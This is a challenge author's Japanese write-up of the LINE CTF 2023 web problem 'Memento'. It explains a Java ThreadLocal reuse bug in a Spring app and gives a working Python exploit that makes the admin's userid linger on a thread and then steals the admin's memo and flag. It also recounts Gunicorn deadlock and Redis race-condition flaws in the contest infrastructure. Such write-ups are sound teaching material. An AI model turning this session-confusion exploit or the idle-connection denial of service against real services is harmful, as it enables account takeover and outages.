はじめに
LINE CTF 2023はLINEが主催するCTF (Capture The Flag) 大会で、3月24日から3月25日までの24時間にわたって開催されました。その中で出題された問題の1つに、MementoというWeb問題があり、私はその作問を担当しました。この問題は、JavaのThreadLocal変数の未初期化・再利用から発生する脆弱性をテーマにして作成され、最終的には、全477チームのうち1チームによってMementoが解かれました。
1チームのみが解くという結果となったMementoですが、その難易度が特別に高いというわけではありませんでした。LINE CTFのWeb問題のほとんどはソースコードが配布されており、基本的には読んで解く必要があります。ソースコードが複雑であるほど、24時間という限られた競技時間で解き切ることは難しくなります。そのため、そもそも着手しなかったというチームも多かったのではないでしょうか。また、MementoはCTFの「いわゆるWeb」のような問題ではなく、CTFにおいてはあまり一般的ではないJavaで書かれていたことも一因かもしれません。
一方で、脆弱性に関する知識を深めたいというセキュリティに関心のある方々にとっては、Mementoは貴重な課題になるかもしれません。この問題はJavaのThreadLocal変数の未初期化・再利用という多少ニッチなテーマではありますが、広域的に利用されうる変数がもたらす脆弱性というのは普遍的に起こり得るものだと感じます。
この記事では、Mementoの解法や問題作成時のエピソードについて紹介します。Javaに詳しい方やCTFに興味がある方は、ぜひ読んでみてください。
Mementoについて
Mementoは匿名でメモを投稿、共有、報告できるWebアプリケーションで、Springを使って書かれたJavaアプリケーションと、管理者を模すようにPlaywrightを使って書かれたNode.jsアプリケーションで構成されています。
Mementoのユーザーは匿名でメモを投稿することができ、投稿したメモにはランダムに生成されたUUID(UUIDv4)が割り当てられています。そのUUIDを含んだURLを共有することで第三者にメモを共有することができます。いわゆる秘密のURLというやつで、投稿後 http://memento/bin/{uuid}
というURLにリダイレクトされるので、このURLに直接アクセスすれば認証なしで閲覧することができる(という設定)です。
また、初回アクセス時にMemento用のsessionがJWT形式で自動的に発行され、同一sessionであれば同一ユーザーとして認識され投稿したメモの一覧を保持することができるようになっています。
Set-Cookie: MEMENTO_TOKEN=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJzdWIiOiIyYzUwMGUwYy1kNGQ2LTRiN2EtYWZmOS05Mjg3ODllMzg2NTgifQ.vMUmVzaXDTYzhA3eLZP6z7-gLCzlWR-kBeGMBJJdA1k; Path=/
> echo eyJzdWIiOiIyYzUwMGUwYy1kNGQ2LTRiN2EtYWZmOS05Mjg3ODllMzg2NTgifQ | base64 -d
{"sub":"2c500e0c-d4d6-4b7a-aff9-928789e38658"}
そのほかには、投稿したメモをAdminに報告する機能があります。[Report this bin]をクリックすると、投稿したMemoのURLがAdminに報告されます。(MemoやらBinやらの表記揺れすみません)
MementoサーバーにはメモのURLを受け取るAPI(/bin/report
)が用意されており、MementoサーバーはURLからメモのPathを取り出しAdminに伝えます。AdminはFlagを匿名でポストした状態で、そのPathにアクセスするようになっています。文字だけでよくわからないと思いますが、簡単にまとめると以下のようなフローになっています。
Memento Server Admin Server
user -> http://memento/bin/report?urlString=http://memento/bin/id -> http://admin/?url=/bin/id
http://memento/bin/create <- admin posts FLAG=linectf{blabla}
http://memento/bin/id <- admin visits (http://memento + /bin/id)
(一応、Admin側でURLを組み立てる際にpathnameの先頭が/で始まることを確認しています。SSRFや、Browser Exploitが怖いので…)
以上がMementoの説明でした。なお、問題の性質上参加者ごとに環境を分離する必要があったため、Springアプリケーションのコンテナを参加者ごとに立ち上げるようになっています。参加された方は、最初にこの画面を見たかと思います。
このコンテナ管理アプリケーションは問題とは無関係で、以下のことを行っています。
- コンテナの生成および削除を手動で行います。
- コンテナ生成時に、
MEMENTO_CONTAINER_SESSION
Cookieをセットします。 - 別ポートで動作しているNginxにアクセスすると
MEMENTO_CONTAINER_SESSION
Cookieが送信され、参加者のContainerにリクエストを中継します。 - コンテナを5分後に自動で削除します。
CTFに慣れている方は、分離しないと困る何かがあるんだな〜くらいのメタ読みをしてしまうかもしれません。
脆弱性の詳細
Mementoは同一のブラウザセッションであればMemoの一覧を取得することができるのでした。Mementoでどのようにユーザーを識別しているかを見てみましょう。CookieのNameであるMEMENTO_TOKENで適当に検索してみると、以下のコードが引っかかります。
public class AuthInterceptor implements HandlerInterceptor {
@Autowired
private AuthContext authContext;
private static String COOKIE_NAME = "MEMENTO_TOKEN";
@Override
public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
Cookie cookie = WebUtils.getCookie(request, COOKIE_NAME);
if (cookie != null && !cookie.getValue().isEmpty()) {
try {
String token = cookie.getValue();
String userid = JwtUtil.verify(token);
authContext.userid.set(userid);
return true;
} catch (Exception e) {
// Failed to verify jwt
}
}
String userId = UUID.randomUUID().toString();
cookie = new Cookie(COOKIE_NAME, JwtUtil.sign(userId));
cookie.setPath("/");
response.addCookie(cookie);
return true;
}
@Override
public void postHandle(HttpServletRequest request, HttpServletResponse response, Object handler, ModelAndView modelAndView) throws Exception {
authContext.userid.remove();
}
}
このJavaコードを簡単に解説すると、このクラスはSpringのHandlerInterceptor
インターフェイスを実装したAuthInterceptor
クラスで、preHandle()
とpostHandle()
という関数はリクエストが処理される前と処理された後のタイミングで呼び出されます。
preHandle()
関数は、リクエストが処理される前に呼び出されます。この関数では、CookieからJWTを取り出し、JWTの検証と解析を行います。JWTが正しく検証された場合、JWTから取得したユーザーIDを、authContext
のuserid
に設定します。JWTが検証に失敗した場合は、何もしません。JWTがCookieに存在しない場合は、ランダムにUUIDを生成し、そのUUIDを元にJWTを作成して、Cookieに設定します。この関数の最後には、true
を返します。postHandle()
関数は、リクエストが処理された後に呼び出されます。この関数では、authContext
のuserid
を削除します。
AuthContextの実態は、以下のようにString型を保持するThreadLocal変数となっています。
public class AuthContext {
public ThreadLocal<String> userid = new ThreadLocal<String>();
}
ThreadLocalクラスの変数は、スレッドごとに異なる値を保持することができます。AuthInterceptor内のauthContextはSpringによってSingletonでAutowiredされているためどのスレッドからも同一のインスタンスを参照していますが、authContextのuserid変数に関してはスレッドごとに異なる値を保持しています。したがって、Springのような複数のスレッドで動作するアプリケーションであってもスレッドセーフなプログラミングを実現できます。
異なるスレッドから参照・更新されても問題ないことがわかりましたが、同一のスレッドに対してはどうでしょうか?Springのようなスレッドプールを有しスレッドを再利用するようなアプリケーションではThreadLocal変数も再利用されます。もし十分な初期化を行わなかった場合は、他のリクエストからuseridを再利用できてしまいます。
というのを、以下セキュアコーディングガイドを読んでいて知ったので、CTFとして出題したのでした。
https://www.jpcert.or.jp/java-rules/tps04-j.html
解決策
どうにかして、ThreadLocal変数を初期化されないようにする必要があります。初期化を行なっているpostHandle関数について調べてみると、以下のIssueのように、ControllerでExceptionが発生した時には呼ばれないことがわかります。(一応、参照先でも言及されていますがこれは仕様です。)
https://github.com/spring-projects/spring-framework/issues/15707
Controllerで例外を投げ得る箇所を探してみると、以下の報告用のAPIがExceptionを投げることがわかります。URLクラスのドキュメントを見てみると、MalformedExceptionというのを投げるようなので、変なURLを投げることで例外が発生しそうです。
https://docs.oracle.com/javase/jp/8/docs/api/java/net/URL.html#URL-java.lang.String-
@RequestMapping("/report")
public String report(@RequestParam String urlString) throws Exception {
URL url = new URL(urlString);
HttpClient.newHttpClient().send(HttpRequest.newBuilder(new URI("http://memento-admin:3000/?url=" + url.getPath())).build(), HttpResponse.BodyHandlers.ofString()).body();
return "redirect:/" + url.getPath() + "#reported";
}
したがって、http://34.84.65.148:31337/bin/report?urlString=xxx
というURLにアクセスして報告することで、自分のuseridがThreadに残留します。裏を返せば、Adminに壊れたURLを報告させることで、AdminのuseridをThreadLocal変数に残留させることができます。例えば、 http://34.84.65.148:31337/bin/report?urlString=http%3a%2f%2f34.84.65.148:31337/bin/report%3furlString%3dxxx
などが考えられます。
Spring + Thymeleafという構成と上記コントローラの勘違いさせるようなViewの指定(意味不明なリダイレクトを)が以下の脆弱性へのミスリードになってしまったと、ログを見ていて思いました。 https://github.com/veracode-research/spring-view-manipulation
あとはこのuseridを上書きしないように、MEMENTO_TOKEN Cookieを付加しないで投稿の一覧(/bin/list
)を取得します。ここにAdminのmemoのuuidがあり、取得できたらあとはそのuuidのmemoにアクセスするのみです。
最終的に、Exploitは以下のようになります。Adminが残していったuseridに当たるまで、何度か試行する必要がありますが、参加者ごとにアプリケーションサーバーは分離されているため、基本的には最初の数回の試行で成功するはずです。
import requests
import time
import re
from urllib.parse import quote
HOST='34.84.65.148'
PORT=31337
COOKIE="MEMENTO_CONTAINER_SESSION=" # update here
TARGET=f"http://{HOST}:{PORT}"
MAX_TRIAL=5
for _ in range(MAX_TRIAL):
# Attack admin. leave admin's userid in ThreadLocal
res = requests.get(f"{TARGET}/bin/report?urlString={quote(TARGET)}/bin/report%3furlString%3dxxx", headers={"Cookie": f"{COOKIE}"})
print('Attack admin', res.status_code)
for _ in range(MAX_TRIAL):
# Reuse the ThreadLocal by requesting without session. It may takes some times because multiple threads are working.
res = requests.get(f"{TARGET}/bin/list", headers={"Cookie": f"{COOKIE}"})
print('Reuse admin session', res.status_code)
path = re.search(r'\/bin\/[0-9a-fA-F\-]{16,}', res.text)
if path:
print('Found bin path:', path.group(0))
break
if path: break
time.sleep(1)
if path:
res = requests.get(f"{TARGET}{path.group(0)}", headers={"Cookie": f"{COOKIE}"})
flag = re.search(r'LINECTF\{.+\}', res.text).group(0)
print('FLAG:', flag)
else:
print('Retry later')
問題作成時のはなし
この問題は1年以上前に作成され、LINE CTF 2022で出題される予定でした。作成された当初は、AdminのuserIdをThreadLocalに残させるのではなく、自分のuseridを残させてAdminに利用させるという形式でした。なんかこの所作が置き土産っぽいなということでMemento(ポケモンのおきみやげの英語名)と名付けましたが、問題のタイトルを解法と紐づけるのは直感的にあまりよくない気もします。作成時にいくつかの作問ガイドラインを参照しましたが問題のタイトルに関するガイドは見当たらず、このあたり有識者の方コメントいただけると幸いです?♂️
そんなMementoですが、直前に8ayacのレビューによって適当なリクエストを送信しまくることで自分のuseridが気付かぬうちにThreadに残留し簡単に解けてしまう、ということが判明し急遽修正が余儀無くされました。しかしながら、そんな矢先にCovid-19に罹患してしまい、そのまま私も問題も完治することなくLINE CTF2022では出題されずに終了しました。
Mementoは1年の修正猶予が与えられ、自分のではなくAdminのuseridを残させるように修正されました。しかしこれだと多くの参加者がアクセスしている環境では、Adminが使い古したThreadを再利用できるかは運次第で、不確定要素が残ってしまいます。したがって参加者ごとにSpring containerを分離するようにもなりました。これはソースコードを配布していない(docker in dockerなのでexploitされたら困る)のですが、https://github.com/tyage/container-spawner を参考に、さまざまな機能を実装したものです。
以下は主な変更点です。
- IPアドレスごとに起動できるコンテナの数を制限する(LINE CTF2023では 1 IPにつき1 Container)
- Container生成時にRedisにContainer情報を保存し、それに紐づいたsessionのkeyをCookieとしてセットする。
- 別ポートで動作しているOpen Resty(Nginx)サーバへのアクセス時に送信されたCookieからContainerの情報を引き出し、リクエストを媒介する。
- それぞれのContainerの死活ステータスの確認。
同一ドメインかつ別ポートで完結するため、Cookieの存在を意識しなくてもよいというのが気に入っていますが、解かれた方はこのCookieの存在に気づかず時間を溶かしてしまったようです。申し訳ないです…
また、IPアドレスごとに生成できるコンテナの数を制限したのは悪手でした。というのも、同一のIPから複数の参加者が参加しているケースは少なくなく、IP = 参加者とはならないからです。
その一方で、大量にコンテナを生成されて計算資源を圧迫されてしまうのは良くないです。参加者ごとに100MBのメモリ消費を見込んでいたため、数GBのインスタンスではメモリが枯渇する可能性がありました。競技中は32GBのインスタンスで動作させていましたが、結果的に最大でも4,5コンテナしか起動しておらず、メモリ不足については終始問題ありませんでした。
しかしながら、競技中にコンテナ管理サーバーが応答を返さない、というアクシデントに見舞われました。Docker管理サーバーはGunicornを使ってFlaskを動作させており、Gunicornの設定値を見直したところ、1 worker, 4 threadのgthread workerで動作していました。最大で4接続を同時に捌ける様子ですが、明らかに足りません。そこで、ドキュメントに従ってWorker数を (2 x $num_cores) + 1
程度まで増やしました。すると、しばらくは平穏な時間が続きました。が、そんな時間も束の間、競技終了が近づいてくるとサーバーが死んだとのアラートが何度も上がってしまいました。幸い、継続的に接続不可能になるわけではなくまれに発生する程度のものだったので、大きな支障はなく終えることができました。
競技終了後、反省すべくGunicornのrepositoryを見ていると以下のIssueを見つけました。
Gunicorn gthread deadlock #2917
なるほど。 nc 34.84.65.148 11007
みたいな何もしないTCP接続をworker * threadの数だけ張られてしまうと、全てのスレッドがブロックされてしまい後続のリクエストを処理できないようです。悪意がなくても、最近のブラウザは投機的にTCP接続を張ってしまうようで、複数のブラウザから開かれてしまうだけでアウトのようです。
教訓として、Gunicornを素で使わずにNginxなどの背後などに置くか、async workerを使うといったところでしょうか(↑が修正されない場合)。
ちなみに、Worker数を増やした段階でRace Conditionが発生してコンテナを複数起動できるようになってしまいました。元々、Thread間の排他制御は実装していたため、一瞬の間にコンテナを生成するリクエストを複数送信してもコンテナが複数起動されることはありませんでしたが、上記の通りWorkerを増やしたところ、複数のWorkerから同時にRedisの参照・更新が走るようになってしまったというわけです。IPアドレスに対応するコンテナ数もRedisで管理していたため、すでにコンテナが生成されているにもかかわらず別のWorkerから更新前のコンテナ数を参照してしまい、Race Conditionが発生していました。図に表すとこんな感じです。
worker1 Redis worker2
| | |
| read container_num | |
| (container_num = 0) | |
| | |
| generate container | |
| (container_num = 0) | |
| | |
| | read container_num |
| | (container_num = 0) |
| | |
| increment | |
| (container_num = 1) | |
| | generate container |
| | (container_num = 0) |
| | |
| | increment |
| | (container_num = 1) |
| | |
悪用も簡単で、「コンテナを生成する」ボタンを連打することで複数のコンテナを起動して意図的にサーバーに負荷をかけることができる状態でした。幸い競技の間はこの挙動を悪用されることがありませんでしたが、単純な設定変更であっても脆弱性が発生するということは常に意識したいところです。
おわりに
LINE CTF 2023で出題されたWeb問題「Memento」の解説と、ちょっとした裏話的なものを書きました。昨年は出題できなかったものの、今年はきちんとした形で出題できてよかったです。
個人的には、LINE CTF 2021で出題したdoublecheckという問題も気に入っているので、その問題の記事もいつか書きたいですね。